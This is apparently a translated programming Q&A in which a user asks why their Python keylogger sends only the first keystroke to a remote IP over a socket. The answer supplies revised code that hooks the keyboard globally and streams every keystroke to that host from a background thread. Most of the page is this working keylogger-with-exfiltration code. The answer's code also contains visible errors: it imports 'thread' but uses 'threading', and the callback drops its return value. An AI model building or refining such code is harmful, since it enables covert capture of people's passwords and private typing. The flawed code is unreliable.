【问题标题】:Adding socket to a keylogger将套接字添加到键盘记录器
【发布时间】:2018-04-23 21:25:48
【问题描述】:

出于有趣的目的,我正在构建一个键盘记录器。我想要的是键盘记录器将充当聊天客户端,并将每次击键发送给对方。但是,当我尝试这样做时,它只发送我按下的第一个键,而不是其他跟随它的键。

import socket
import pythoncom
import pyHook




HOST = "192.168.2.103"
PORT = 5000

s = socket.socket()
s.connect((HOST, PORT ))


def OnKeyboardEvent(event):
  global s
  keylog = chr(event.Ascii)
  s.send(keylog.encode("utf-8"))
  return True



h_m = pyHook.HookManager()
h_m.KeyDown =OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()

【问题讨论】:

  • 首先,你确定它只发送第一个,还是你只在服务器端做一个recv
  • 不,我将 .recv 放在服务器端的 while 循环中。

标签: python sockets keylogger


【解决方案1】:

the tutorial中所述:

如果回调函数没有及时返回,该事件将自动沿着钩子回调链转发,如果没有其他回调阻止它,则将其转发到目标窗口。因此,应在回调中进行尽可能少的处理。相反,回调应该将事件添加到队列中以供应用程序稍后处理并快速决定是否阻止消息。

调用socket.send 可以阻止。它可以很容易地阻塞足够长的时间让 PyHook 中止你的钩子,或者只是为了将来的调用而禁用它。要修复它,请完全按照文档所说的去做。例如(未经测试,但至少应该足以让您入门):

import queue
import socket
import thread

import pythoncom
import pyHook

q = queue.Queue()

HOST = "192.168.2.103"
PORT = 5000

def background():
    s = socket.socket()
    s.connect((HOST, PORT))
    while True:
        msg = q.get()
        s.send(msg)
sockthread = threading.Thread(target=background)
sockthread.start()

def OnKeyboardEvent(event):
    keylog = chr(event.Ascii)
    q.put(keylog.encode("utf-8"))

h_m = pyHook.HookManager()
h_m.KeyDown = OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()

【讨论】:

  • 我想我理解我的错误。我也将 socket.accept() 放在了 while 循环中。这就是为什么它卡在第一个按键上。还是谢谢你:)
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2023-03-07
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多